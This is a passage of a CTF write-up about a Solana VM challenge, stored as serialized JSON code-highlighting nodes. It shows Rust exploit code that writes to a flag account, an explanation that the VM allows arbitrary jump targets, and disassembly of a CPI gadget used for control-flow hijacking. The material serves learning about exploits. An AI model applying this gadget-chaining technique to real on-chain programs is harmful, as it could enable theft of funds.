instruction",{"type":21,"tag":85,"props":43823,"children":43824},{"style":169},[43825],{"type":26,"value":1941},{"type":21,"tag":85,"props":43827,"children":43828},{"style":108},[43829],{"type":26,"value":41461},{"type":21,"tag":85,"props":43831,"children":43832},{"style":169},[43833],{"type":26,"value":1087},{"type":21,"tag":85,"props":43835,"children":43836},{"style":1021},[43837],{"type":26,"value":43838},"new_with_bincode",{"type":21,"tag":85,"props":43840,"children":43841},{"style":114},[43842],{"type":26,"value":1029},{"type":21,"tag":85,"props":43844,"children":43845},{"class":87,"line":1348},[43846,43851,43855],{"type":21,"tag":85,"props":43847,"children":43848},{"style":114},[43849],{"type":26,"value":43850},"        system_program",{"type":21,"tag":85,"props":43852,"children":43853},{"style":169},[43854],{"type":26,"value":1087},{"type":21,"tag":85,"props":43856,"children":43857},{"style":114},[43858],{"type":26,"value":43859},"ID,\n",{"type":21,"tag":85,"props":43861,"children":43862},{"class":87,"line":1386},[43863,43867,43872,43876,43881],{"type":21,"tag":85,"props":43864,"children":43865},{"style":169},[43866],{"type":26,"value":4239},{"type":21,"tag":85,"props":43868,"children":43869},{"style":114},[43870],{"type":26,"value":43871},"SystemInstruction",{"type":21,"tag":85,"props":43873,"children":43874},{"style":169},[43875],{"type":26,"value":1087},{"type":21,"tag":85,"props":43877,"children":43878},{"style":108},[43879],{"type":26,"value":43880},"CreateAccount",{"type":21,"tag":85,"props":43882,"children":43883},{"style":114},[43884],{"type":26,"value":148},{"type":21,"tag":85,"props":43886,"children":43887},{"class":87,"line":1394},[43888,43893,43897,43902],{"type":21,"tag":85,"props":43889,"children":43890},{"style":120},[43891],{"type":26,"value":43892},"            space",{"type":21,"tag":85,"props":43894,"children":43895},{"style":169},[43896],{"type":26,"value":172},{"type":21,"tag":85,"props":43898,"children":43899},{"style":2285},[43900],{"type":26,"value":43901}," 0x1337",{"type":21,"tag":85,"props":43903,"children":43904},{"style":114},[43905],{"type":26,"value":182},{"type":21,"tag":85,"props":43907,"children":43908},{"class":87,"line":1402},[43909,43914,43918,43923,43927,43932,43936,43940,43945,43949,43954],{"type":21,"tag":85,"props":43910,"children":43911},{"style":120},[43912],{"type":26,"value":43913},"            lamports",{"type":21,"tag":85,"props":43915,"children":43916},{"style":169},[43917],{"type":26,"value":172},{"type":21,"tag":85,"props":43919,"children":43920},{"style":114},[43921],{"type":26,"value":43922}," Rent",{"type":21,"tag":85,"props":43924,"children":43925},{"style":169},[43926],{"type":26,"value":1087},{"type":21,"tag":85,"props":43928,"children":43929},{"style":1021},[43930],{"type":26,"value":43931},"default",{"type":21,"tag":85,"props":43933,"children":43934},{"style":114},[43935],{"type":26,"value":14297},{"type":21,"tag":85,"props":43937,"children":43938},{"style":169},[43939],{"type":26,"value":73},{"type":21,"tag":85,"props":43941,"children":43942},{"style":1021},[43943],{"type":26,"value":43944},"minimum_balance",{"type":21,"tag":85,"props":43946,"children":43947},{"style":114},[43948],{"type":26,"value":1439},{"type":21,"tag":85,"props":43950,"children":43951},{"style":2285},[43952],{"type":26,"value":43953},"0x1337",{"type":21,"tag":85,"props":43955,"children":43956},{"style":114},[43957],{"type":26,"value":1074},{"type":21,"tag":85,"props":43959,"children":43960},{"class":87,"line":3145},[43961,43966,43970,43974,43978],{"type":21,"tag":85,"props":43962,"children":43963},{"style":120},[43964],{"type":26,"value":43965},"            owner",{"type":21,"tag":85,"props":43967,"children":43968},{"style":169},[43969],{"type":26,"value":172},{"type":21,"tag":85,"props":43971,"children":43972},{"style":114},[43973],{"type":26,"value":42493},{"type":21,"tag":85,"props":43975,"children":43976},{"style":169},[43977],{"type":26,"value":1087},{"type":21,"tag":85,"props":43979,"children":43980},{"style":114},[43981],{"type":26,"value":43982},"ID\n",{"type":21,"tag":85,"props":43984,"children":43985},{"class":87,"line":3246},[43986],{"type":21,"tag":85,"props":43987,"children":43988},{"style":114},[43989],{"type":26,"value":25814},{"type":21,"tag":85,"props":43991,"children":43992},{"class":87,"line":3255},[43993,43998],{"type":21,"tag":85,"props":43994,"children":43995},{"style":1021},[43996],{"type":26,"value":43997},"        vec!",{"type":21,"tag":85,"props":43999,"children":44000},{"style":114},[44001],{"type":26,"value":44002},"[\n",{"type":21,"tag":85,"props":44004,"children":44005},{"class":87,"line":3286},[44006,44011,44015,44019,44023,44027,44032,44036,44041,44045],{"type":21,"tag":85,"props":44007,"children":44008},{"style":114},[44009],{"type":26,"value":44010},"            AccountMeta",{"type":21,"tag":85,"props":44012,"children":44013},{"style":169},[44014],{"type":26,"value":1087},{"type":21,"tag":85,"props":44016,"children":44017},{"style":1021},[44018],{"type":26,"value":15541},{"type":21,"tag":85,"props":44020,"children":44021},{"style":114},[44022],{"type":26,"value":1439},{"type":21,"tag":85,"props":44024,"children":44025},{"style":169},[44026],{"type":26,"value":3052},{"type":21,"tag":85,"props":44028,"children":44029},{"style":120},[44030],{"type":26,"value":44031},"user_ai",{"type":21,"tag":85,"props":44033,"children":44034},{"style":169},[44035],{"type":26,"value":73},{"type":21,"tag":85,"props":44037,"children":44038},{"style":114},[44039],{"type":26,"value":44040},"key, ",{"type":21,"tag":85,"props":44042,"children":44043},{"style":102},[44044],{"type":26,"value":4760},{"type":21,"tag":85,"props":44046,"children":44047},{"style":114},[44048],{"type":26,"value":1074},{"type":21,"tag":85,"props":44050,"children":44051},{"class":87,"line":3295},[44052,44056,44060,44064,44068,44072,44077,44081,44085,44089],{"type":21,"tag":85,"props":44053,"children":44054},{"style":114},[44055],{"type":26,"value":44010},{"type":21,"tag":85,"props":44057,"children":44058},{"style":169},[44059],{"type":26,"value":1087},{"type":21,"tag":85,"props":44061,"children":44062},{"style":1021},[44063],{"type":26,"value":15541},{"type":21,"tag":85,"props":44065,"children":44066},{"style":114},[44067],{"type":26,"value":1439},{"type":21,"tag":85,"props":44069,"children":44070},{"style":169},[44071],{"type":26,"value":3052},{"type":21,"tag":85,"props":44073,"children":44074},{"style":120},[44075],{"type":26,"value":44076},"flag_pda_ai",{"type":21,"tag":85,"props":44078,"children":44079},{"style":169},[44080],{"type":26,"value":73},{"type":21,"tag":85,"props":44082,"children":44083},{"style":114},[44084],{"type":26,"value":44040},{"type":21,"tag":85,"props":44086,"children":44087},{"style":102},[44088],{"type":26,"value":4760},{"type":21,"tag":85,"props":44090,"children":44091},{"style":114},[44092],{"type":26,"value":1074},{"type":21,"tag":85,"props":44094,"children":44095},{"class":87,"line":3308},[44096],{"type":21,"tag":85,"props":44097,"children":44098},{"style":114},[44099],{"type":26,"value":44100},"        ],\n",{"type":21,"tag":85,"props":44102,"children":44103},{"class":87,"line":3333},[44104],{"type":21,"tag":85,"props":44105,"children":44106},{"style":114},[44107],{"type":26,"value":44108},"    );\n",{"type":21,"tag":85,"props":44110,"children":44111},{"class":87,"line":3369},[44112,44116],{"type":21,"tag":85,"props":44113,"children":44114},{"style":1021},[44115],{"type":26,"value":41578},{"type":21,"tag":85,"props":44117,"children":44118},{"style":114},[44119],{"type":26,"value":1029},{"type":21,"tag":85,"props":44121,"children":44122},{"class":87,"line":3377},[44123,44127,44132],{"type":21,"tag":85,"props":44124,"children":44125},{"style":169},[44126],{"type":26,"value":4239},{"type":21,"tag":85,"props":44128,"children":44129},{"style":120},[44130],{"type":26,"value":44131},"instruction",{"type":21,"tag":85,"props":44133,"children":44134},{"style":114},[44135],{"type":26,"value":182},{"type":21,"tag":85,"props":44137,"children":44138},{"class":87,"line":3386},[44139,44143],{"type":21,"tag":85,"props":44140,"children":44141},{"style":169},[44142],{"type":26,"value":4239},{"type":21,"tag":85,"props":44144,"children":44145},{"style":114},[44146],{"type":26,"value":44002},{"type":21,"tag":85,"props":44148,"children":44149},{"class":87,"line":3394},[44150,44155,44159,44163],{"type":21,"tag":85,"props":44151,"children":44152},{"style":120},[44153],{"type":26,"value":44154},"            user_ai",{"type":21,"tag":85,"props":44156,"children":44157},{"style":169},[44158],{"type":26,"value":73},{"type":21,"tag":85,"props":44160,"children":44161},{"style":1021},[44162],{"type":26,"value":15839},{"type":21,"tag":85,"props":44164,"children":44165},{"style":114},[44166],{"type":26,"value":4258},{"type":21,"tag":85,"props":44168,"children":44169},{"class":87,"line":3410},[44170,44175,44179,44183],{"type":21,"tag":85,"props":44171,"children":44172},{"style":120},[44173],{"type":26,"value":44174},"            flag_pda_ai",{"type":21,"tag":85,"props":44176,"children":44177},{"style":169},[44178],{"type":26,"value":73},{"type":21,"tag":85,"props":44180,"children":44181},{"style":1021},[44182],{"type":26,"value":15839},{"type":21,"tag":85,"props":44184,"children":44185},{"style":114},[44186],{"type":26,"value":4258},{"type":21,"tag":85,"props":44188,"children":44189},{"class":87,"line":3427},[44190],{"type":21,"tag":85,"props":44191,"children":44192},{"style":114},[44193],{"type":26,"value":44100},{"type":21,"tag":85,"props":44195,"children":44196},{"class":87,"line":3445},[44197,44201,44205,44209,44213,44217,44221,44225],{"type":21,"tag":85,"props":44198,"children":44199},{"style":169},[44200],{"type":26,"value":4239},{"type":21,"tag":85,"props":44202,"children":44203},{"style":114},[44204],{"type":26,"value":3016},{"type":21,"tag":85,"props":44206,"children":44207},{"style":169},[44208],{"type":26,"value":2238},{"type":21,"tag":85,"props":44210,"children":44211},{"style":114},[44212],{"type":26,"value":3016},{"type":21,"tag":85,"props":44214,"children":44215},{"style":5026},[44216],{"type":26,"value":43073},{"type":21,"tag":85,"props":44218,"children":44219},{"style":169},[44220],{"type":26,"value":73},{"type":21,"tag":85,"props":44222,"children":44223},{"style":1021},[44224],{"type":26,"value":43082},{"type":21,"tag":85,"props":44226,"children":44227},{"style":114},[44228],{"type":26,"value":44229},"()]],\n",{"type":21,"tag":85,"props":44231,"children":44232},{"class":87,"line":3490},[44233,44237,44241],{"type":21,"tag":85,"props":44234,"children":44235},{"style":114},[44236],{"type":26,"value":4423},{"type":21,"tag":85,"props":44238,"children":44239},{"style":169},[44240],{"type":26,"value":3927},{"type":21,"tag":85,"props":44242,"children":44243},{"style":114},[44244],{"type":26,"value":2535},{"type":21,"tag":85,"props":44246,"children":44247},{"class":87,"line":3596},[44248],{"type":21,"tag":85,"props":44249,"children":44250},{"emptyLinePlaceholder":16},[44251],{"type":26,"value":703},{"type":21,"tag":85,"props":44253,"children":44254},{"class":87,"line":23938},[44255],{"type":21,"tag":85,"props":44256,"children":44257},{"style":92},[44258],{"type":26,"value":44259},"    // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":21,"tag":85,"props":44261,"children":44262},{"class":87,"line":23973},[44263,44268,44272,44276,44280,44284,44288,44292,44296,44300,44304,44309,44313,44317,44322,44326,44330,44335],{"type":21,"tag":85,"props":44264,"children":44265},{"style":120},[44266],{"type":26,"value":44267},"    flag_pda_ai",{"type":21,"tag":85,"props":44269,"children":44270},{"style":169},[44271],{"type":26,"value":73},{"type":21,"tag":85,"props":44273,"children":44274},{"style":1021},[44275],{"type":26,"value":14292},{"type":21,"tag":85,"props":44277,"children":44278},{"style":114},[44279],{"type":26,"value":14297},{"type":21,"tag":85,"props":44281,"children":44282},{"style":169},[44283],{"type":26,"value":3927},{"type":21,"tag":85,"props":44285,"children":44286},{"style":114},[44287],{"type":26,"value":3016},{"type":21,"tag":85,"props":44289,"children":44290},{"style":169},[44291],{"type":26,"value":2998},{"type":21,"tag":85,"props":44293,"children":44294},{"style":2285},[44295],{"type":26,"value":4843},{"type":21,"tag":85,"props":44297,"children":44298},{"style":114},[44299],{"type":26,"value":15830},{"type":21,"tag":85,"props":44301,"children":44302},{"style":169},[44303],{"type":26,"value":73},{"type":21,"tag":85,"props":44305,"children":44306},{"style":1021},[44307],{"type":26,"value":44308},"copy_from_slice",{"type":21,"tag":85,"props":44310,"children":44311},{"style":114},[44312],{"type":26,"value":1439},{"type":21,"tag":85,"props":44314,"children":44315},{"style":169},[44316],{"type":26,"value":2238},{"type":21,"tag":85,"props":44318,"children":44319},{"style":2285},[44320],{"type":26,"value":44321},"0x4337",{"type":21,"tag":85,"props":44323,"children":44324},{"style":108},[44325],{"type":26,"value":2396},{"type":21,"tag":85,"props":44327,"children":44328},{"style":169},[44329],{"type":26,"value":73},{"type":21,"tag":85,"props":44331,"children":44332},{"style":1021},[44333],{"type":26,"value":44334},"to_le_bytes",{"type":21,"tag":85,"props":44336,"children":44337},{"style":114},[44338],{"type":26,"value":15844},{"type":21,"tag":85,"props":44340,"children":44341},{"class":87,"line":23981},[44342],{"type":21,"tag":85,"props":44343,"children":44344},{"emptyLinePlaceholder":16},[44345],{"type":26,"value":703},{"type":21,"tag":85,"props":44347,"children":44348},{"class":87,"line":23989},[44349,44353],{"type":21,"tag":85,"props":44350,"children":44351},{"style":108},[44352],{"type":26,"value":14751},{"type":21,"tag":85,"props":44354,"children":44355},{"style":114},[44356],{"type":26,"value":14756},{"type":21,"tag":85,"props":44358,"children":44359},{"class":87,"line":23998},[44360],{"type":21,"tag":85,"props":44361,"children":44362},{"style":114},[44363],{"type":26,"value":2671},{"type":21,"tag":22,"props":44365,"children":44366},{},[44367],{"type":26,"value":44368},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":21,"tag":22,"props":44370,"children":44371},{},[44372],{"type":21,"tag":4681,"props":44373,"children":44376},{"alt":44374,"src":44375},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":21,"tag":22,"props":44378,"children":44379},{},[44380],{"type":26,"value":44381},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":21,"tag":54,"props":44383,"children":44385},{"id":44384},"solution-implementation",[44386],{"type":26,"value":44387},"Solution Implementation",{"type":21,"tag":22,"props":44389,"children":44390},{},[44391,44393,44398],{"type":26,"value":44392},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":21,"tag":66,"props":44394,"children":44396},{"className":44395},[],[44397],{"type":26,"value":36129},{"type":26,"value":44399}," invocations:",{"type":21,"tag":75,"props":44401,"children":44405},{"className":44402,"code":44403,"language":44404,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: gadget1]\n    C --> E[3: process]\n    E --> F[4: gadget2]\n    E --> G[...]\n","mermaid",[44406],{"type":21,"tag":66,"props":44407,"children":44408},{"__ignoreMap":7},[44409,44417,44425,44433,44441,44449,44457],{"type":21,"tag":85,"props":44410,"children":44411},{"class":87,"line":88},[44412],{"type":21,"tag":85,"props":44413,"children":44414},{},[44415],{"type":26,"value":44416},"graph LR\n",{"type":21,"tag":85,"props":44418,"children":44419},{"class":87,"line":98},[44420],{"type":21,"tag":85,"props":44421,"children":44422},{},[44423],{"type":26,"value":44424},"    A[0: entrypoint] --> B[1: process_instruction]\n",{"type":21,"tag":85,"props":44426,"children":44427},{"class":87,"line":151},[44428],{"type":21,"tag":85,"props":44429,"children":44430},{},[44431],{"type":26,"value":44432},"    B --> C[2: process]\n",{"type":21,"tag":85,"props":44434,"children":44435},{"class":87,"line":160},[44436],{"type":21,"tag":85,"props":44437,"children":44438},{},[44439],{"type":26,"value":44440},"    C --> D[3: gadget1]\n",{"type":21,"tag":85,"props":44442,"children":44443},{"class":87,"line":185},[44444],{"type":21,"tag":85,"props":44445,"children":44446},{},[44447],{"type":26,"value":44448},"    C --> E[3: process]\n",{"type":21,"tag":85,"props":44450,"children":44451},{"class":87,"line":501},[44452],{"type":21,"tag":85,"props":44453,"children":44454},{},[44455],{"type":26,"value":44456},"    E --> F[4: gadget2]\n",{"type":21,"tag":85,"props":44458,"children":44459},{"class":87,"line":697},[44460],{"type":21,"tag":85,"props":44461,"children":44462},{},[44463],{"type":26,"value":44464},"    E --> G[...]\n",{"type":21,"tag":22,"props":44466,"children":44467},{},[44468],{"type":26,"value":44469},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":21,"tag":22,"props":44471,"children":44472},{},[44473,44475,44481],{"type":26,"value":44474},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":21,"tag":335,"props":44476,"children":44478},{"href":40936,"rel":44477},[339],[44479],{"type":26,"value":44480},"Binary Ninja",{"type":26,"value":44482}," to find a suitable gadget for this.",{"type":21,"tag":22,"props":44484,"children":44485},{},[44486,44488,44495],{"type":26,"value":44487},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":21,"tag":335,"props":44489,"children":44492},{"href":44490,"rel":44491},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[339],[44493],{"type":26,"value":44494},"skip the strip pass",{"type":26,"value":73},{"type":21,"tag":10022,"props":44497,"children":44499},{"id":44498},"cpi-gadget",[44500],{"type":26,"value":44501},"CPI Gadget",{"type":21,"tag":22,"props":44503,"children":44504},{},[44505,44507,44512,44514,44521,44523,44529],{"type":26,"value":44506},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":21,"tag":66,"props":44508,"children":44510},{"className":44509},[],[44511],{"type":26,"value":38744},{"type":26,"value":44513}," function. This function calls into the solana sdk's function ",{"type":21,"tag":335,"props":44515,"children":44518},{"href":44516,"rel":44517},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[339],[44519],{"type":26,"value":44520},"invoke_signed_unchecked",{"type":26,"value":44522},", yielding a powerful gadget at the address ",{"type":21,"tag":66,"props":44524,"children":44526},{"className":44525},[],[44527],{"type":26,"value":44528},"0x100001ba8",{"type":26,"value":73},{"type":21,"tag":75,"props":44531,"children":44533},{"className":77,"code":44532,"language":79,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8  79a278ff00000000   ldxdw r2, [r10-136] {var_88}\n100001bb0  79a380ff00000000   ldxdw r3, [r10-128] {var_80}\n100001bb8  79a468ff00000000   ldxdw r4, [r10-152] {var_98}\n100001bc0  79a570ff00000000   ldxdw r5, [r10-144] {var_90}\n100001bc8  8520000020100000   call sol_invoke_signed_rust\n100001bd0  5500040000000000   jne \u003C+4> r0, 0x0\n\n100001bd8  b701000018000000   mov r1, 0x18\n100001be0  79a288ff00000000   ldxdw r2, [r10-120] {var_78}\n100001be8  6312000000000000   stxw [r2-0], r1  {0x18}\n100001bf0  0500030000000000   ja \u003C+3>\n\n100001bf8  79a188ff00000000   ldxdw r1, [r10-120] {var_78}\n100001c00  bf02000000000000   mov r2, r0\n100001c08  8510000075000000   call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10  79a2b8ff00000000   ldxdw r2, [r10-72] {var_48}\n100001c18  1502040000000000   jeq \u003C+4> r2, 0x0\n\n100001c20  2702000022000000   mul r2, 0x22\n100001c28  79a1b0ff00000000   ldxdw r1, [r10-80] {var_50}\n100001c30  b703000001000000   mov r3, 0x1\n100001c38  8510000003feffff   call __rust_dealloc\n\n100001c40  79a2d0ff00000000   ldxdw r2, [r10-48] {var_30}\n100001c48  1502030000000000   jeq \u003C+3> r2, 0x0\n\n100001c50  79a1c8ff00000000   ldxdw r1, [r10-56] {var_38}\n100001c58  b703000001000000   mov r3, 0x1\n100001c60  85100000fefdffff   call __rust_dealloc\n\n100001c68  9500000000000000   exit {__return_addr}\n",[44534],{"type":21,"tag":66,"props":44535,"children":44536},{"__ignoreMap":7},[44537,44562,44618,44669,44721,44773,44796,44844,44851,44883,44934,44992,45026,45033,45082,45112,45187,45194,45245,45291,45298,45329,45380,45410,45432,45439,45490,45535,45542,45593,45621,45642,45649],{"type":21,"tag":85,"props":44538,"children":44539},{"class":87,"line":88},[44540,44544,44548,44553,44557],{"type":21,"tag":85,"props":44541,"children":44542},{"style":114},[44543],{"type":26,"value":14071},{"type":21,"tag":85,"props":44545,"children":44546},{"style":169},[44547],{"type":26,"value":1087},{"type":21,"tag":85,"props":44549,"children":44550},{"style":114},[44551],{"type":26,"value":44552},"program",{"type":21,"tag":85,"props":44554,"children":44555},{"style":169},[44556],{"type":26,"value":1087},{"type":21,"tag":85,"props":44558,"children":44559},{"style":120},[44560],{"type":26,"value":44561},"invoke_signed_unchecked\n",{"type":21,"tag":85,"props":44563,"children":44564},{"class":87,"line":98},[44565,44570,44575,44580,44585,44590,44595,44599,44604,44609,44614],{"type":21,"tag":85,"props":44566,"children":44567},{"style":120},[44568],{"type":26,"value":44569},"100001ba8",{"type":21,"tag":85,"props":44571,"children":44572},{"style":120},[44573],{"type":26,"value":44574},"  79a278ff00000000",{"type":21,"tag":85,"props":44576,"children":44577},{"style":120},[44578],{"type":26,"value":44579},"   ldxdw",{"type":21,"tag":85,"props":44581,"children":44582},{"style":120},[44583],{"type":26,"value":44584}," r2",{"type":21,"tag":85,"props":44586,"children":44587},{"style":114},[44588],{"type":26,"value":44589},", [",{"type":21,"tag":85,"props":44591,"children":44592},{"style":120},[44593],{"type":26,"value":44594},"r10",{"type":21,"tag":85,"props":44596,"children":44597},{"style":169},[44598],{"type":26,"value":5097},{"type":21,"tag":85,"props":44600,"children":44601},{"style":2285},[44602],{"type":26,"value":44603},"136",{"type":21,"tag":85,"props":44605,"children":44606},{"style":114},[44607],{"type":26,"value":44608},"] {",{"type":21,"tag":85,"props":44610,"children":44611},{"style":120},[44612],{"type":26,"value":44613},"var_88",{"type":21,"tag":85,"props":44615,"children":44616},{"style":114},[44617],{"type":26,"value":2671},{"type":21,"tag":85,"props":44619,"children":44620},{"class":87,"line":151},[44621,44626,44631,44635,44640,44644,44648,44652,44656,44660,44665],{"type":21,"tag":85,"props":44622,"children":44623},{"style":120},[44624],{"type":26,"value":44625},"100001bb0",{"type":21,"tag":85,"props":44627,"children":44628},{"style":120},[44629],{"type":26,"value":44630},"  79a380ff00000000",{"type":21,"tag":85,"props":44632,"children":44633},{"style":120},[44634],{"type":26,"value":44579},{"type":21,"tag":85,"props":44636,"children":44637},{"style":120},[44638],{"type":26,"value":44639}," r3",{"type":21,"tag":85,"props":44641,"children":44642},{"style":114},[44643],{"type":26,"value":44589},{"type":21,"tag":85,"props":44645,"children":44646},{"style":120},[44647],{"type":26,"value":44594},{"type":21,"tag":85,"props":44649,"children":44650},{"style":169},[44651],{"type":26,"value":5097},{"type":21,"tag":85,"props":44653,"children":44654},{"style":2285},[44655],{"type":26,"value":30291},{"type":21,"tag":85,"props":44657,"children":44658},{"style":114},[44659],{"type":26,"value":44608},{"type":21,"tag":85,"props":44661,"children":44662},{"style":120},[44663],{"type":26,"value":44664},"var_80",{"type":21,"tag":85,"props":44666,"children":44667},{"style":114},[44668],{"type":26,"value":2671},{"type":21,"tag":85,"props":44670,"children":44671},{"class":87,"line":160},[44672,44677,44682,44686,44691,44695,44699,44703,44708,44712,44717],{"type":21,"tag":85,"props":44673,"children":44674},{"style":120},[44675],{"type":26,"value":44676},"100001bb8",{"type":21,"tag":85,"props":44678,"children":44679},{"style":120},[44680],{"type":26,"value":44681},"  79a468ff00000000",{"type":21,"tag":85,"props":44683,"children":44684},{"style":120},[44685],{"type":26,"value":44579},{"type":21,"tag":85,"props":44687,"children":44688},{"style":120},[44689],{"type":26,"value":44690}," r4",{"type":21,"tag":85,"props":44692,"children":44693},{"style":114},[44694],{"type":26,"value":44589},{"type":21,"tag":85,"props":44696,"children":44697},{"style":120},[44698],{"type":26,"value":44594},{"type":21,"tag":85,"props":44700,"children":44701},{"style":169},[44702],{"type":26,"value":5097},{"type":21,"tag":85,"props":44704,"children":44705},{"style":2285},[44706],{"type":26,"value":44707},"152",{"type":21,"tag":85,"props":44709,"children":44710},{"style":114},[44711],{"type":26,"value":44608},{"type":21,"tag":85,"props":44713,"children":44714},{"style":120},[44715],{"type":26,"value":44716},"var_98",{"type":21,"tag":85,"props":44718,"children":44719},{"style":114},[44720],{"type":26,"value":2671},{"type":21,"tag":85,"props":44722,"children":44723},{"class":87,"line":185},[44724,44729,44734,44738,44743,44747,44751,44755,44760,44764,44769],{"type":21,"tag":85,"props":44725,"children":44726},{"style":120},[44727],{"type":26,"value":44728},"100001bc0",{"type":21,"tag":85,"props":44730,"children":44731},{"style":120},[44732],{"type":26,"value":44733},"  79a570ff00000000",{"type":21,"tag":85,"props":44735,"children":44736},{"style":120},[44737],{"type":26,"value":44579},{"type":21,"tag":85,"props":44739,"children":44740},{"style":120},[44741],{"type":26,"value":44742}," r5",{"type":21,"tag":85,"props":44744,"children":44745},{"style":114},[44746],{"type":26,"value":44589},{"type":21,"tag":85,"props":44748,"children":44749},{"style":120},[44750],{"type":26,"value":44594},{"type":21,"tag":85,"props":44752,"children":44753},{"style":169},[44754],{"type":26,"value":5097},{"type":21,"tag":85,"props":44756,"children":44757},{"style":2285},[44758],{"type":26,"value":44759},"144",{"type":21,"tag":85,"props":44761,"children":44762},{"style":114},[44763],{"type":26,"value":44608},{"type":21,"tag":85,"props":44765,"children":44766},{"style":120},[44767],{"type":26,"value":44768},"var_90",{"type":21,"tag":85,"props":44770,"children":44771},{"style":114},[44772],{"type":26,"value":2671},{"type":21,"tag":85,"props":44774,"children":44775},{"class":87,"line":501},[44776,44781,44786,44791],{"type":21,"tag":85,"props":44777,"children":44778},{"style":120},[44779],{"type":26,"value":44780},"100001bc8",{"type":21,"tag":85,"props":44782,"children":44783},{"style":2285},[44784],{"type":26,"value":44785},"  8520000020100000",{"type":21,"tag":85,"props":44787,"children":44788},{"style":120},[44789],{"type":26,"value":44790},"   call",{"type":21,"tag":85,"props":44792,"children":44793},{"style":120},[44794],{"type":26,"value":44795}," sol_invoke_signed_rust\n",{"type":21,"tag":85,"props":44797,"children":44798},{"class":87,"line":697},[44799,44804,44809,44814,44818,44822,44826,44830,44835,44839],{"type":21,"tag":85,"props":44800,"children":44801},{"style":120},[44802],{"type":26,"value":44803},"100001bd0",{"type":21,"tag":85,"props":44805,"children":44806},{"style":2285},[44807],{"type":26,"value":44808},"  5500040000000000",{"type":21,"tag":85,"props":44810,"children":44811},{"style":120},[44812],{"type":26,"value":44813},"   jne",{"type":21,"tag":85,"props":44815,"children":44816},{"style":114},[44817],{"type":26,"value":3085},{"type":21,"tag":85,"props":44819,"children":44820},{"style":169},[44821],{"type":26,"value":5151},{"type":21,"tag":85,"props":44823,"children":44824},{"style":2285},[44825],{"type":26,"value":17951},{"type":21,"tag":85,"props":44827,"children":44828},{"style":114},[44829],{"type":26,"value":133},{"type":21,"tag":85,"props":44831,"children":44832},{"style":120},[44833],{"type":26,"value":44834},"r0",{"type":21,"tag":85,"props":44836,"children":44837},{"style":114},[44838],{"type":26,"value":256},{"type":21,"tag":85,"props":44840,"children":44841},{"style":2285},[44842],{"type":26,"value":44843},"0x0\n",{"type":21,"tag":85,"props":44845,"children":44846},{"class":87,"line":706},[44847],{"type":21,"tag":85,"props":44848,"children":44849},{"emptyLinePlaceholder":16},[44850],{"type":26,"value":703},{"type":21,"tag":85,"props":44852,"children":44853},{"class":87,"line":1100},[44854,44859,44864,44869,44874,44878],{"type":21,"tag":85,"props":44855,"children":44856},{"style":120},[44857],{"type":26,"value":44858},"100001bd8",{"type":21,"tag":85,"props":44860,"children":44861},{"style":120},[44862],{"type":26,"value":44863},"  b701000018000000",{"type":21,"tag":85,"props":44865,"children":44866},{"style":120},[44867],{"type":26,"value":44868},"   mov",{"type":21,"tag":85,"props":44870,"children":44871},{"style":120},[44872],{"type":26,"value":44873}," r1",{"type":21,"tag":85,"props":44875,"children":44876},{"style":114},[44877],{"type":26,"value":256},{"type":21,"tag":85,"props":44879,"children":44880},{"style":2285},[44881],{"type":26,"value":44882},"0x18\n",{"type":21,"tag":85,"props":44884,"children":44885},{"class":87,"line":1339},[44886,44891,44896,44900,44904,44908,44912,44916,44921,44925,44930],{"type":21,"tag":85,"props":44887,"children":44888},{"style":120},[44889],{"type":26,"value":44890},"100001be0",{"type":21,"tag":85,"props":44892,"children":44893},{"style":120},[44894],{"type":26,"value":44895},"  79a288ff00000000",{"type":21,"tag":85,"props":44897,"children":44898},{"style":120},[44899],{"type":26,"value":44579},{"type":21,"tag":85,"props":44901,"children":44902},{"style":120},[44903],{"type":26,"value":44584},{"type":21,"tag":85,"props":44905,"children":44906},{"style":114},[44907],{"type":26,"value":44589},{"type":21,"tag":85,"props":44909,"children":44910},{"style":120},[44911],{"type":26,"value":44594},{"type":21,"tag":85,"props":44913,"children":44914},{"style":169},[44915],{"type":26,"value":5097},{"type":21,"tag":85,"props":44917,"children":44918},{"style":2285},[44919],{"type":26,"value":44920},"120",{"type":21,"tag":85,"props":44922,"children":44923},{"style":114},[44924],{"type":26,"value":44608},{"type":21,"tag":85,"props":44926,"children":44927},{"style":120},[44928],{"type":26,"value":44929},"var_78",{"type":21,"tag":85,"props":44931,"children":44932},{"style":114},[44933],{"type":26,"value":2671},{"type":21,"tag":85,"props":44935,"children":44936},{"class":87,"line":1348},[44937,44942,44947,44952,44956,44961,44965,44969,44973,44978,44983,44988],{"type":21,"tag":85,"props":44938,"children":44939},{"style":120},[44940],{"type":26,"value":44941},"100001be8",{"type":21,"tag":85,"props":44943,"children":44944},{"style":2285},[44945],{"type":26,"value":44946},"  6312000000000000",{"type":21,"tag":85,"props":44948,"children":44949},{"style":120},[44950],{"type":26,"value":44951},"   